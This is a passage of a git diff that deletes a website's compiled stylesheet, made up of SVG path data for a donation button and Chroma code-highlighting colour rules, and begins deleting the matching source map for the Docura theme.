190.107 93.1477C190.697 92.4477 191.281 91.6835 191.856 90.855C192.4 92.0659 193.103 93.0047 193.966 93.6737C194.829 94.3422 195.74 94.741 196.699 94.8677C197.657 94.9943 198.633 94.8604 199.624 94.4616C200.614 94.064 201.509 93.3871 202.308 92.4313C202.835 91.8453 203.331 91.1792 203.797 90.4429C203.995 90.7877 204.205 91.1204 204.442 91.4277C205.225 92.4477 206.288 93.1477 207.631 93.5301C209.069 93.9125 210.474 93.9768 211.849 93.7216C213.223 93.4671 214.534 93.0047 215.78 92.3362C217.027 91.6671 218.185 90.8635 219.257 89.9235C220.327 88.9841 221.262 88.0053 222.061 86.9854C222.029 87.7181 222.013 88.4114 222.013 89.0635C222.013 89.7168 221.997 90.4247 221.966 91.1895C220.367 92.3047 218.857 93.6422 217.435 95.2022C216.012 96.7622 214.765 98.4264 213.695 100.194C212.624 101.961 211.785 103.753 211.179 105.568C210.571 107.384 210.275 109.08 210.291 110.657C210.307 112.233 210.682 113.61 211.418 114.788C212.152 115.967 213.351 116.81 215.013 117.32C216.74 117.862 218.257 117.877 219.569 117.368C220.879 116.858 222.021 116.014 222.996 114.836C223.971 113.658 224.77 112.233 225.394 110.561C226.017 108.889 226.512 107.145 226.88 105.33C227.247 103.515 227.479 101.73 227.575 99.9797C227.671 98.2276 227.671 96.6664 227.575 95.2974C230.324 94.1513 232.577 92.7022 234.335 90.9501C236.093 89.1999 237.547 87.352 238.698 85.409C239.049 84.9314 239.169 84.3581 239.058 83.6896C238.945 83.0206 238.674 82.4472 238.243 81.9697Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M298.724 78.9135C298.82 78.1814 298.964 77.4087 299.155 76.5966C299.347 75.7845 299.587 74.996 299.875 74.2318C300.162 73.4676 300.498 72.807 300.882 72.2494C301.265 71.6924 301.673 71.2943 302.104 71.0549C302.536 70.8167 302.974 70.8403 303.423 71.1264C303.902 71.4137 304.197 72.0185 304.31 72.9415C304.421 73.8663 304.31 74.853 303.974 75.9039C303.638 76.9554 303.039 77.942 302.176 78.8657C301.313 79.7899 300.146 80.3941 298.676 80.6808C298.612 80.236 298.628 79.6463 298.724 78.9135ZM315.336 80.8717C314.809 80.7135 314.306 80.6972 313.826 80.8244C313.347 80.9517 313.043 81.2862 312.916 81.8281C312.659 82.8468 312.251 83.8898 311.692 84.9565C311.133 86.0238 310.446 87.0346 309.632 87.9904C308.817 88.9455 307.897 89.7898 306.875 90.5219C305.851 91.2546 304.781 91.78 303.662 92.0982C302.543 92.4491 301.616 92.4885 300.882 92.2176C300.146 91.9479 299.563 91.4855 299.132 90.8328C298.7 90.1801 298.388 89.3916 298.197 88.468C298.005 87.5443 297.893 86.5892 297.861 85.6013C299.683 85.7292 301.305 85.4032 302.728 84.622C304.149 83.8426 305.356 82.8068 306.347 81.5171C307.337 80.2275 308.089 78.7784 308.6 77.1699C309.111 75.5621 309.399 73.9615 309.463 72.3688C309.495 70.8718 309.272 69.6064 308.792 68.5713C308.313 67.5367 307.665 66.7313 306.85 66.1586C306.036 65.5853 305.1 65.2507 304.046 65.1556C302.992 65.0598 301.92 65.2034 300.833 65.5853C299.522 66.0313 298.412 66.7555 297.501 67.7592C296.59 68.7622 295.831 69.9252 295.224 71.2464C294.617 72.5682 294.137 73.993 293.786 75.5215C293.434 77.0505 293.178 78.5554 293.019 80.0366C292.875 81.3656 292.798 82.6365 292.771 83.8632C292.702 84.0189 292.636 84.1686 292.563 84.3353C292.067 85.4668 291.491 86.5734 290.837 87.6558C290.182 88.7389 289.454 89.6467 288.656 90.3788C287.857 91.1116 287.026 91.3661 286.163 91.1431C285.651 91.0164 285.372 90.4261 285.324 89.3758C285.276 88.3243 285.331 87.0189 285.491 85.4583C285.651 83.8983 285.835 82.2093 286.043 80.3941C286.25 78.579 286.354 76.8439 286.354 75.1875C286.354 73.7542 286.082 72.3773 285.539 71.0549C284.995 69.7343 284.252 68.6349 283.31 67.7592C282.367 66.8828 281.272 66.3016 280.026 66.0156C278.779 65.7283 277.437 65.9198 275.999 66.5883C274.56 67.2574 273.417 68.1967 272.571 69.407C271.723 70.6179 270.948 71.8912 270.245 73.2288C269.989 72.2094 269.614 71.2628 269.118 70.3864C268.623 69.5107 268.016 68.7464 267.297 68.0931C266.577 67.441 265.769 66.9313 264.876 66.5646C263.981 66.1992 263.037 66.0156 262.046 66.0156C261.088 66.0156 260.201 66.1992 259.386 66.5646C258.571 66.9313 257.828 67.4004 257.156 67.9737C256.485 68.5476 255.878 69.1919 255.334 69.9088C254.791 70.6252 254.311 71.3343 253.896 72.0343C253.831 71.2064 253.76 70.4822 253.681 69.8603C253.6 69.2398 253.456 68.7143 253.249 68.2846C253.041 67.8543 252.746 67.5283 252.362 67.3052C251.978 67.0828 251.435 66.9707 250.732 66.9707C250.38 66.9707 250.028 67.0422 249.677 67.1852C249.325 67.3289 249.013 67.5283 248.742 67.7828C248.47 68.0386 248.263 68.3482 248.119 68.7143C247.975 69.0804 247.936 69.5028 247.999 69.9803C248.031 70.3312 248.119 70.7525 248.263 71.2464C248.406 71.7403 248.542 72.3858 248.67 73.1809C248.798 73.9773 248.902 74.9409 248.982 76.0712C249.062 77.2021 249.085 78.5875 249.054 80.2275C249.021 81.8681 248.902 83.7862 248.694 85.9837C248.486 88.1813 248.158 90.7291 247.711 93.6267C247.647 94.2957 247.903 94.8376 248.479 95.2515C249.054 95.6648 249.709 95.9036 250.444 95.9678C251.179 96.0315 251.875 95.9036 252.53 95.586C253.185 95.2666 253.561 94.7097 253.656 93.9139C253.752 92.417 253.936 90.8249 254.208 89.1364C254.479 87.4492 254.815 85.7771 255.215 84.1207C255.614 82.465 256.069 80.8887 256.581 79.3911C257.092 77.8942 257.66 76.573 258.283 75.4263C258.907 74.2797 259.554 73.3645 260.225 72.6797C260.896 71.9949 261.599 71.6524 262.335 71.6524C263.229 71.6524 263.924 72.0579 264.42 72.87C264.915 73.6827 265.266 74.7263 265.475 75.999C265.682 77.2736 265.778 78.6675 265.763 80.1796C265.746 81.6923 265.682 83.1492 265.571 84.5504C265.459 85.9522 265.331 87.2019 265.187 88.3007C265.043 89.3995 264.939 90.1564 264.876 90.5697C264.876 91.3025 265.155 91.8831 265.714 92.3134C266.273 92.743 266.896 92.9982 267.584 93.0776C268.272 93.1576 268.918 93.0297 269.526 92.6952C270.133 92.3606 270.485 91.7964 270.581 90.9994C270.9 88.7067 271.34 86.4062 271.899 84.0971C272.458 81.7881 273.098 79.7184 273.817 77.8869C274.536 76.0554 275.335 74.5585 276.214 73.3961C277.093 72.2343 278.028 71.6524 279.019 71.6524C279.53 71.6524 279.922 72.0033 280.193 72.7033C280.465 73.4039 280.601 74.3591 280.601 75.5694C280.601 76.4615 280.529 77.3772 280.386 78.3166C280.241 79.256 280.074 80.2275 279.882 81.2305C279.69 82.2341 279.522 83.2608 279.378 84.3117C279.235 85.3632 279.163 86.4613 279.163 87.608C279.163 88.4043 279.243 89.3279 279.403 90.3788C279.562 91.4291 279.865 92.4255 280.313 93.3642C280.761 94.3042 281.376 95.1 282.16 95.7527C282.943 96.4054 283.941 96.7321 285.155 96.7321C286.978 96.7321 288.591 96.3418 289.998 95.5618C291.404 94.7818 292.611 93.763 293.618 92.5049C293.67 92.4388 293.718 92.3685 293.769 92.3031C293.846 92.4891 293.914 92.6861 294.001 92.863C294.688 94.2642 295.623 95.3466 296.806 96.1115C297.988 96.8757 299.379 97.2975 300.978 97.3775C302.575 97.4563 304.317 97.1618 306.204 96.4933C307.609 95.9836 308.832 95.3466 309.871 94.5824C310.909 93.8182 311.844 92.8867 312.675 91.7879C313.507 90.6891 314.265 89.4231 314.953 87.9904C315.641 86.5565 316.335 84.9171 317.038 83.0692C317.166 82.5608 317.046 82.1068 316.679 81.7081C316.311 81.3105 315.864 81.0317 315.336 80.8717Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M341.393 75.5432C341.233 76.4832 341.018 77.5189 340.746 78.6486C340.474 79.7795 340.131 80.9498 339.715 82.1601C339.3 83.3703 338.788 84.4612 338.181 85.4321C337.574 86.4042 336.878 87.1757 336.096 87.7491C335.312 88.3224 334.41 88.5612 333.387 88.4654C332.875 88.4024 332.483 88.0521 332.212 87.4145C331.94 86.7782 331.797 85.9655 331.78 84.9782C331.764 83.9915 331.852 82.9085 332.044 81.7298C332.236 80.5522 332.531 79.3971 332.932 78.2662C333.331 77.1365 333.818 76.0929 334.393 75.1371C334.969 74.182 335.632 73.4414 336.383 72.916C337.134 72.3905 337.958 72.1445 338.852 72.1754C339.747 72.2075 340.706 72.6529 341.729 73.5129C341.664 73.9275 341.553 74.6044 341.393 75.5432ZM358.437 79.1977C357.941 78.9431 357.43 78.888 356.903 79.031C356.376 79.174 356 79.6601 355.777 80.488C355.649 81.3801 355.361 82.4304 354.914 83.6406C354.466 84.8509 353.914 85.9982 353.26 87.08C352.604 88.163 351.853 89.063 351.006 89.7793C350.159 90.4963 349.256 90.823 348.298 90.7581C347.498 90.6951 346.938 90.289 346.62 89.5406C346.299 88.7921 346.132 87.8533 346.116 86.7218C346.099 85.5921 346.212 84.3182 346.451 82.9007C346.691 81.4837 346.979 80.0746 347.314 78.6722C347.65 77.2716 347.994 75.9256 348.346 74.6359C348.697 73.3463 348.984 72.2554 349.209 71.3639C349.464 70.5675 349.384 69.8912 348.969 69.333C348.553 68.7766 348.034 68.3778 347.411 68.1391C346.787 67.9003 346.155 67.8366 345.516 67.9481C344.877 68.0597 344.462 68.4021 344.27 68.9748C342.384 67.3506 340.57 66.4748 338.829 66.3476C337.086 66.2203 335.48 66.6027 334.01 67.4942C332.539 68.3857 331.237 69.6754 330.103 71.3639C328.968 73.0523 328.049 74.8911 327.345 76.8814C326.642 78.8716 326.203 80.9025 326.027 82.9722C325.851 85.0424 325.987 86.9297 326.435 88.6333C326.883 90.3369 327.673 91.7308 328.808 92.8126C329.942 93.8956 331.485 94.4375 333.435 94.4375C334.298 94.4375 335.129 94.2623 335.928 93.912C336.726 93.5611 337.462 93.1472 338.133 92.6696C338.804 92.192 339.395 91.6902 339.908 91.1648C340.418 90.6393 340.818 90.2018 341.106 89.8509C341.329 90.9975 341.697 91.9696 342.209 92.7654C342.719 93.5611 343.303 94.215 343.958 94.7235C344.613 95.2326 345.301 95.6071 346.02 95.8465C346.739 96.0853 347.435 96.2047 348.105 96.2047C349.608 96.2047 351.013 95.695 352.325 94.6756C353.635 93.6575 354.81 92.4066 355.849 90.926C356.887 89.4448 357.743 87.8848 358.413 86.2442C359.085 84.6043 359.532 83.1473 359.756 81.8728C359.98 81.3952 359.939 80.894 359.636 80.3686C359.332 79.8431 358.933 79.4534 358.437 79.1977Z' fill='%230D0C23'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M444.738 105.571C444.467 106.653 444.043 107.57 443.467 108.318C442.892 109.066 442.173 109.456 441.31 109.489C440.767 109.52 440.351 109.233 440.063 108.629C439.776 108.023 439.576 107.243 439.464 106.288C439.352 105.332 439.304 104.265 439.32 103.087C439.336 101.909 439.384 100.746 439.464 99.5996C439.543 98.4536 439.64 97.3857 439.752 96.3991C439.863 95.4112 439.951 94.6482 440.015 94.1064C441.102 94.2336 442.006 94.7027 442.724 95.5154C443.443 96.3275 443.995 97.2906 444.378 98.4057C444.762 99.5202 444.985 100.723 445.05 102.012C445.113 103.302 445.009 104.488 444.738 105.571ZM427.382 105.571C427.111 106.653 426.687 107.57 426.112 108.318C425.537 109.066 424.817 109.456 423.954 109.489C423.411 109.52 422.996 109.233 422.708 108.629C422.42 108.023 422.22 107.243 422.109 106.288C421.996 105.332 421.948 104.265 421.965 103.087C421.98 101.909 422.028 100.746 422.109 99.5996C422.188 98.4536 422.284 97.3857 422.396 96.3991C422.508 95.4112 422.595 94.6482 422.66 94.1064C423.746 94.2336 424.65 94.7027 425.368 95.5154C426.088 96.3275 426.639 97.2906 427.023 98.4057C427.407 99.5202 427.63 100.723 427.694 102.012C427.757 103.302 427.653 104.488 427.382 105.571ZM409.572 78.4375C409.539 79.2011 409.467 79.8781 409.355 80.4672C409.243 81.0575 409.092 81.4308 408.9 81.5902C408.548 81.3987 408.116 80.906 407.605 80.109C407.094 79.3133 406.695 78.4127 406.406 77.4096C406.119 76.4066 406.03 75.42 406.143 74.4479C406.254 73.477 406.758 72.7212 407.653 72.1788C408.004 71.9879 408.308 72.0594 408.564 72.394C408.82 72.7285 409.027 73.2139 409.188 73.8509C409.347 74.4885 409.458 75.2206 409.523 76.0485C409.587 76.8769 409.603 77.6727 409.572 78.4375ZM405.328 87.9677C404.832 88.4925 404.28 88.9464 403.674 89.3289C403.066 89.7113 402.443 89.9979 401.804 90.1889C401.164 90.3804 400.589 90.4276 400.078 90.3319C398.64 90.0458 397.537 89.424 396.77 88.4689C396.003 87.5137 395.515 86.3913 395.308 85.1017C395.1 83.8114 395.123 82.4338 395.38 80.969C395.635 79.5042 396.066 78.143 396.674 76.8848C397.281 75.6266 398.017 74.5436 398.879 73.6364C399.742 72.7285 400.685 72.1637 401.708 71.94C401.324 73.5642 401.197 75.2448 401.324 76.98C401.452 78.7157 401.868 80.3478 402.571 81.8762C403.018 82.8011 403.554 83.6441 404.177 84.4083C404.801 85.1732 405.56 85.8259 406.455 86.3671C406.199 86.9089 405.823 87.4422 405.328 87.9677ZM458.378 78.9151C458.474 78.183 458.617 77.4096 458.81 76.5975C459.001 75.786 459.241 74.9976 459.528 74.2333C459.816 73.4685 460.152 72.8079 460.536 72.2509C460.92 71.694 461.326 71.2952 461.758 71.0564C462.19 70.8176 462.629 70.8413 463.076 71.1279C463.556 71.4152 463.851 72.02 463.963 72.943C464.075 73.8673 463.963 74.8539 463.628 75.9054C463.292 76.9563 462.693 77.9436 461.83 78.8666C460.968 79.7914 459.8 80.3957 458.33 80.6823C458.266 80.2369 458.282 79.6478 458.378 78.9151ZM477.7 78.9151C477.796 78.183 477.939 77.4096 478.131 76.5975C478.323 75.786 478.563 74.9976 478.851 74.2333C479.138 73.4685 479.473 72.8079 479.857 72.2509C480.241 71.694 480.649 71.2952 481.08 71.0564C481.512 70.8176 481.951 70.8413 482.398 71.1279C482.878 71.4152 483.173 72.02 483.285 72.943C483.397 73.8673 483.285 74.8539 482.95 75.9054C482.614 76.9563 482.015 77.9436 481.152 78.8666C480.289 79.7914 479.122 80.3957 477.652 80.6823C477.588 80.2369 477.604 79.6478 477.7 78.9151ZM495.655 81.7096C495.287 81.312 494.84 81.0332 494.313 80.8732C493.785 80.7144 493.282 80.6987 492.802 80.826C492.323 80.9532 492.018 81.2878 491.891 81.829C491.635 82.8484 491.228 83.8914 490.669 84.9574C490.109 86.0253 489.422 87.0362 488.607 87.9913C487.792 88.9464 486.873 89.7913 485.851 90.5234C484.827 91.2561 483.757 91.7816 482.639 92.0991C481.519 92.4506 480.592 92.49 479.857 92.2191C479.122 91.9488 478.539 91.487 478.107 90.8343C477.676 90.181 477.365 89.3931 477.172 88.4689C476.981 87.5459 476.868 86.5907 476.837 85.6029C478.659 85.7307 480.281 85.4047 481.703 84.6235C483.125 83.8435 484.332 82.8077 485.324 81.5181C486.314 80.229 487.065 78.7799 487.576 77.1715C488.087 75.563 488.375 73.963 488.44 72.3703C488.471 70.8734 488.247 69.6073 487.768 68.5722C487.289 67.5377 486.642 66.7328 485.827 66.1601C485.011 65.5862 484.077 65.2522 483.021 65.1565C481.967 65.0607 480.896 65.205 479.809 65.5862C478.498 66.0328 477.388 66.7571 476.478 67.7601C475.567 68.7637 474.807 69.9267 474.2 71.2473C473.592 72.5697 473.113 73.9939 472.761 75.523C472.409 77.0515 472.154 78.5569 471.995 80.0375C471.839 81.4744 471.755 82.8496 471.736 84.1659C471.615 84.4283 471.486 84.692 471.347 84.9574C470.787 86.0253 470.1 87.0362 469.285 87.9913C468.471 88.9464 467.551 89.7913 466.529 90.5234C465.506 91.2561 464.435 91.7816 463.317 92.0991C462.197 92.4506 461.271 92.49 460.536 92.2191C459.8 91.9488 459.217 91.487 458.786 90.8343C458.355 90.181 458.043 89.3931 457.851 88.4689C457.659 87.5459 457.547 86.5907 457.515 85.6029C459.337 85.7307 460.959 85.4047 462.382 84.6235C463.803 83.8435 465.01 82.8077 466.001 81.5181C466.992 80.229 467.743 78.7799 468.254 77.1715C468.765 75.563 469.054 73.963 469.117 72.3703C469.149 70.8734 468.926 69.6073 468.447 68.5722C467.967 67.5377 467.319 66.7328 466.504 66.1601C465.689 65.5862 464.755 65.2522 463.7 65.1565C462.645 65.0607 461.574 65.205 460.488 65.5862C459.176 66.0328 458.066 66.7571 457.156 67.7601C456.245 68.7637 455.485 69.9267 454.878 71.2473C454.271 72.5697 453.792 73.9939 453.44 75.523C453.088 77.0515 452.832 78.5569 452.673 80.0375C452.582 80.8726 452.522 81.6823 452.477 82.4774C452.168 82.7393 451.867 83.0029 451.546 83.2617C450.444 84.1538 449.284 84.9574 448.07 85.6744C446.855 86.3913 445.592 86.9804 444.283 87.4422C442.971 87.904 441.629 88.1828 440.255 88.278L443.228 56.5578C443.42 55.8887 443.324 55.3003 442.94 54.7906C442.557 54.2809 442.061 53.9306 441.454 53.7397C440.847 53.5482 440.199 53.5645 439.512 53.787C438.824 54.0106 438.258 54.5203 437.81 55.3154C437.586 56.5263 437.354 58.182 437.115 60.2838C436.875 62.3856 436.635 64.6789 436.396 67.1631C436.156 69.6473 435.916 72.2109 435.677 74.8539C435.437 77.4981 435.229 79.966 435.053 82.2587C435.045 82.3605 435.039 82.4526 435.031 82.5532C434.751 82.7896 434.48 83.0277 434.19 83.2617C433.088 84.1538 431.928 84.9574 430.714 85.6744C429.499 86.3913 428.237 86.9804 426.927 87.4422C425.616 87.904 424.273 88.1828 422.899 88.278L425.872 56.5578C426.064 55.8887 425.968 55.3003 425.585 54.7906C425.201 54.2809 424.705 53.9306 424.098 53.7397C423.491 53.5482 422.843 53.5645 422.156 53.787C421.469 54.0106 420.902 54.5203 420.454 55.3154C420.23 56.5263 419.999 58.182 419.76 60.2838C419.519 62.3856 419.28 64.6789 419.04 67.1631C418.8 69.6473 418.561 72.2109 418.321 74.8539C418.082 77.4981 417.873 79.966 417.698 82.2587C417.694 82.3047 417.691 82.3465 417.687 82.3926C417.185 82.6247 416.638 82.8284 416.043 82.9993C415.436 83.175 414.749 83.2786 413.982 83.3102C414.11 82.7362 414.213 82.0993 414.293 81.3987C414.373 80.6987 414.438 79.966 414.486 79.2011C414.534 78.4375 414.549 77.6727 414.534 76.9084C414.517 76.1436 414.477 75.4436 414.414 74.806C414.253 73.4376 413.958 72.1394 413.527 70.9128C413.095 69.6873 412.512 68.6607 411.777 67.8316C411.041 67.0037 410.123 66.4462 409.019 66.1601C407.917 65.8734 406.63 65.9686 405.161 66.4462C402.986 66.1601 401.029 66.3595 399.287 67.0437C397.545 67.7292 396.034 68.7237 394.756 70.0291C393.478 71.3358 392.431 72.8715 391.616 74.6394C390.801 76.4066 390.257 78.2224 389.986 80.0848C389.871 80.8744 389.815 81.6605 389.798 82.4447C389.303 83.4544 388.761 84.3368 388.164 85.0774C387.317 86.1283 386.438 86.9883 385.527 87.6568C384.616 88.3258 383.713 88.8355 382.819 89.1858C381.923 89.5367 381.124 89.7755 380.421 89.9022C379.59 90.0616 378.791 90.0779 378.024 89.9501C377.257 89.8234 376.553 89.4567 375.915 88.8513C375.403 88.4058 375.011 87.6889 374.74 86.7016C374.468 85.7144 374.309 84.5926 374.261 83.3338C374.213 82.0756 374.261 80.7617 374.404 79.3926C374.548 78.0236 374.795 76.7254 375.147 75.4994C375.499 74.2733 375.945 73.1746 376.49 72.2024C377.032 71.2322 377.672 70.5388 378.408 70.1249C378.822 70.1891 379.079 70.4352 379.175 70.8649C379.271 71.2952 379.294 71.8049 379.246 72.394C379.199 72.9836 379.127 73.5885 379.031 74.2091C378.935 74.8303 378.887 75.3485 378.887 75.7618C379.047 76.6218 379.358 77.2909 379.822 77.7684C380.285 78.246 380.805 78.5254 381.38 78.6042C381.955 78.6842 382.522 78.549 383.083 78.1981C383.641 77.8484 384.096 77.2909 384.449 76.526C384.48 76.5581 384.528 76.5739 384.592 76.5739L385.264 70.5073C385.455 69.6788 385.327 68.9467 384.88 68.3098C384.432 67.6728 383.841 67.3062 383.106 67.211C382.179 65.8734 380.924 65.165 379.342 65.085C377.76 65.0056 376.138 65.5231 374.476 66.6377C373.453 67.371 372.55 68.3813 371.767 69.671C370.983 70.9613 370.345 72.394 369.85 73.9703C369.353 75.5466 369.002 77.2115 368.795 78.963C368.587 80.7144 368.547 82.4187 368.674 84.0738C368.802 85.7307 369.098 87.2913 369.562 88.7555C370.025 90.221 370.672 91.447 371.504 92.4337C372.207 93.2937 373.005 93.9233 373.9 94.3215C374.795 94.7197 375.73 94.9658 376.705 95.0615C377.68 95.1567 378.647 95.1167 379.606 94.9421C380.565 94.7676 381.476 94.5209 382.339 94.2015C383.457 93.7882 384.609 93.2621 385.791 92.6252C386.973 91.9888 388.108 91.224 389.195 90.3319C389.767 89.8628 390.317 89.3513 390.849 88.8028C391.091 89.4016 391.362 89.981 391.688 90.5234C392.551 91.9561 393.717 93.1191 395.188 94.0106C396.657 94.9021 398.464 95.3312 400.605 95.3003C402.907 95.2682 405.032 94.6876 406.982 93.5567C408.932 92.427 410.53 90.7616 411.777 88.5646C413.644 88.5646 415.481 88.258 417.287 87.6489C417.272 87.8416 417.256 88.0446 417.242 88.2307C417.115 89.9186 417.05 91.0646 417.05 91.67C417.019 92.7209 416.947 94.0185 416.835 95.5627C416.723 97.1075 416.651 98.7318 416.619 100.435C416.588 102.139 416.651 103.859 416.811 105.595C416.971 107.33 417.306 108.907 417.818 110.325C418.328 111.741 419.055 112.944 419.999 113.932C420.941 114.918 422.18 115.508 423.715 115.699C425.345 115.921 426.751 115.635 427.934 114.839C429.116 114.042 430.075 112.952 430.811 111.567C431.546 110.181 432.064 108.581 432.369 106.766C432.672 104.95 432.76 103.127 432.633 101.295C432.504 99.4639 432.168 97.7366 431.625 96.113C431.082 94.4882 430.33 93.1506 429.372 92.0991C429.948 91.9409 430.634 91.6385 431.434 91.1919C432.232 90.7464 433.055 90.2446 433.903 89.687C434.111 89.5501 434.316 89.4058 434.524 89.2652C434.446 90.3937 434.406 91.1985 434.406 91.67C434.375 92.7209 434.303 94.0185 434.19 95.5627C434.079 97.1075 434.007 98.7318 433.975 100.435C433.943 102.139 434.007 103.859 434.167 105.595C434.326 107.33 434.662 108.907 435.173 110.325C435.684 111.741 436.412 112.944 437.354 113.932C438.297 114.918 439.536 115.508 441.071 115.699C442.7 115.921 444.106 115.635 445.289 114.839C446.472 114.042 447.431 112.952 448.166 111.567C448.901 110.181 449.42 108.581 449.724 106.766C450.028 104.95 450.115 103.127 449.988 101.295C449.86 99.4639 449.524 97.7366 448.982 96.113C448.437 94.4882 447.687 93.1506 446.727 92.0991C447.303 91.9409 447.99 91.6385 448.789 91.1919C449.588 90.7464 450.411 90.2446 451.259 89.687C451.699 89.3974 452.136 89.0986 452.573 88.7913C452.737 90.3488 453.091 91.7149 453.655 92.864C454.343 94.2658 455.277 95.3482 456.46 96.113C457.642 96.8766 459.033 97.299 460.632 97.3784C462.23 97.4572 463.971 97.1633 465.858 96.4942C467.264 95.9851 468.486 95.3482 469.525 94.5839C470.563 93.8191 471.498 92.8876 472.33 91.7894C472.378 91.7258 472.423 91.6567 472.47 91.5925C472.618 92.0385 472.782 92.467 472.977 92.864C473.665 94.2658 474.6 95.3482 475.782 96.113C476.964 96.8766 478.355 97.299 479.953 97.3784C481.551 97.4572 483.293 97.1633 485.179 96.4942C486.586 95.9851 487.808 95.3482 488.847 94.5839C489.885 93.8191 490.82 92.8876 491.652 91.7894C492.483 90.6901 493.241 89.424 493.929 87.9913C494.616 86.558 495.311 84.9186 496.015 83.0708C496.142 82.5617 496.022 82.1078 495.655 81.7096Z' fill='%230D0C23'/%3E%3C/svg%3E%0A");border-radius:6px;box-shadow:0px 2px 3px rgba(0,0,0,0.1)}:root[data-color="dark"] .btn-buymeacoffee,:root[data-color="night"] .btn-buymeacoffee{box-shadow:0px 2px 3px rgba(255,255,255,0.1)}.btn-close{background:var(--background-fg);border:1px dotted var(--border-color);border-radius:4px;cursor:pointer}.dropdown{position:relative}.dropdown-btn{display:flex;flex-direction:row;box-shadow:var(--box-shadow);border-radius:6px;padding:6px;cursor:pointer;white-space:nowrap}.dropdown-btn .icon-select{opacity:.4}.dropdown-menu{display:none;position:absolute;right:0;top:34px;min-width:100px;max-height:240px;overflow-x:auto;background:var(--background);color:var(--color3);box-shadow:var(--box-shadow2);z-index:1;border-radius:6px;padding:3px}.dropdown-menu.show{display:block}.dropdown-menu button,.dropdown-menu a{width:100%;display:flex;gap:2px;padding:6px;align-items:center;justify-content:center;cursor:pointer}.dropdown-menu button:hover,.dropdown-menu a:hover{background:var(--background-fg)}.chroma{font-size:.9em;color:var(--chroma-base05);background-color:var(--chroma-base00);border-radius:6px;padding:16px 24px;overflow-x:auto}.chroma .x{color:var(--chroma-base05)}.chroma .err{color:var(--chroma-base08)}.chroma .lntd{vertical-align:top;padding:0;margin:0;border:0}.chroma .lntable{border-spacing:0;padding:0;margin:0;border:0;width:auto;overflow:auto;display:block}.chroma .hl{display:block;width:100%;background-color:var(--chroma-base02)}.chroma .lnt{margin-right:0.4em;padding:0 0.4em 0 0.4em}.chroma .ln{margin-right:0.4em;padding:0 0.4em 0 0.4em;border-right:1px solid var(--chroma-base0A)}.chroma .line{display:flex}.chroma .k{color:var(--chroma-base0E)}.chroma .kc{color:var(--chroma-base0E)}.chroma .kd{color:var(--chroma-base0E)}.chroma .kn{color:var(--chroma-base0E)}.chroma .kp{color:var(--chroma-base0D)}.chroma .kr{color:var(--chroma-base0E)}.chroma .kt{color:var(--chroma-base0E)}.chroma .n{color:var(--chroma-base05)}.chroma .na{color:var(--chroma-base05)}.chroma .nb{color:var(--chroma-base0D)}.chroma .bp{color:var(--chroma-base0D)}.chroma .nc{color:var(--chroma-base0A)}.chroma .no{color:var(--chroma-base09)}.chroma .nd{color:var(--chroma-base09)}.chroma .ni{color:var(--chroma-base0A)}.chroma .ne{color:var(--chroma-base0A)}.chroma .nf{color:var(--chroma-base05)}.chroma .fm{color:var(--chroma-base05)}.chroma .nl{color:var(--chroma-base08)}.chroma .nn{color:var(--chroma-base0A)}.chroma .nx{color:var(--chroma-base0D)}.chroma .py{color:var(--chroma-base08)}.chroma .nt{color:var(--chroma-base0D)}.chroma .nv{color:var(--chroma-base0D)}.chroma .vc{color:var(--chroma-base0D)}.chroma .vg{color:var(--chroma-base0D)}.chroma .vi{color:var(--chroma-base08)}.chroma .vm{color:var(--chroma-base0D)}.chroma .l{color:var(--chroma-base0B)}.chroma .ld{color:var(--chroma-base0B)}.chroma .s{color:var(--chroma-base0B)}.chroma .sa{color:var(--chroma-base0B)}.chroma .sb{color:var(--chroma-base0B)}.chroma .sc{color:var(--chroma-base0B)}.chroma .dl{color:var(--chroma-base0F)}.chroma .sd{color:var(--chroma-base03)}.chroma .s2{color:var(--chroma-base0B)}.chroma .se{color:var(--chroma-base0C)}.chroma .sh{color:var(--chroma-base0B)}.chroma .si{color:var(--chroma-base0F)}.chroma .sx{color:var(--chroma-base0B)}.chroma .sr{color:var(--chroma-base0C)}.chroma .s1{color:var(--chroma-base0B)}.chroma .ss{color:var(--chroma-base0B)}.chroma .m{color:var(--chroma-base09)}.chroma .mb{color:var(--chroma-base09)}.chroma .mf{color:var(--chroma-base09)}.chroma .mh{color:var(--chroma-base09)}.chroma .mi{color:var(--chroma-base09)}.chroma .il{color:var(--chroma-base09)}.chroma .mo{color:var(--chroma-base09)}.chroma .o{color:var(--chroma-base05)}.chroma .ow{color:var(--chroma-base05)}.chroma .p{color:var(--chroma-base05)}.chroma .c{color:var(--chroma-base03)}.chroma .ch{color:var(--chroma-base03)}.chroma .cm{color:var(--chroma-base03)}.chroma .c1{color:var(--chroma-base03)}.chroma .cs{color:var(--chroma-base03)}.chroma .cp{color:var(--chroma-base0F)}.chroma .cpf{color:var(--chroma-base0B)}.chroma .g{color:var(--chroma-base05)}.chroma .gd{color:var(--chroma-base08)}.chroma .ge{color:var(--chroma-base05);font-style:italic}.chroma .gr{color:var(--chroma-base05)}.chroma .gh{color:var(--chroma-base0D)}.chroma .gi{color:var(--chroma-base0B)}.chroma .go{color:var(--chroma-base05)}.chroma .gp{color:var(--chroma-base05)}.chroma .gs{color:var(--chroma-base05);font-weight:bold}.chroma .gu{color:var(--chroma-base0D)}.chroma .gt{color:var(--chroma-base05)}.chroma .gl{color:var(--chroma-base05);text-decoration:underline}.chroma .w{color:var(--chroma-base00)}html{font-family:var(--font-family);background:var(--background);color:var(--color);scroll-behavior:smooth;scroll-padding:2em} - -/*# sourceMappingURL=base.css.map */ \ No newline at end of file diff --git a/public/scss/base.css.map b/public/scss/base.css.map deleted file mode 100644 index 0efddaf..0000000 --- a/public/scss/base.css.map +++ /dev/null @@ -1,35 +0,0 @@ -{ - "version": 3, - "file": "base.css", - "sourceRoot": "/Users/sangambiradar/Documents/GitHub/kubernetesdaily.github.io", - "sources": [ - "assets/scss/base.scss", - "assets/scss/reset.scss", - "assets/scss/variables.scss", - "assets/scss/layout.scss", - "assets/scss/component/site-header.scss", - "assets/scss/component/site-footer.scss", - "assets/scss/component/article.scss", - "assets/scss/component/sidebar.scss", - "assets/scss/component/toc.scss", - "assets/scss/component/_button.scss", - "assets/scss/component/_dropdown.scss", - "assets/scss/component/_chroma.scss" - ], - "sourcesContent": [ - "/*!\n * Docura (https://docura.github.io/)\n * Copyright 2022-2023 Dumindu Madunuwan\n * Licensed under the MIT License.\n */\n\n @import \"reset\";\n @import \"variables\";\n 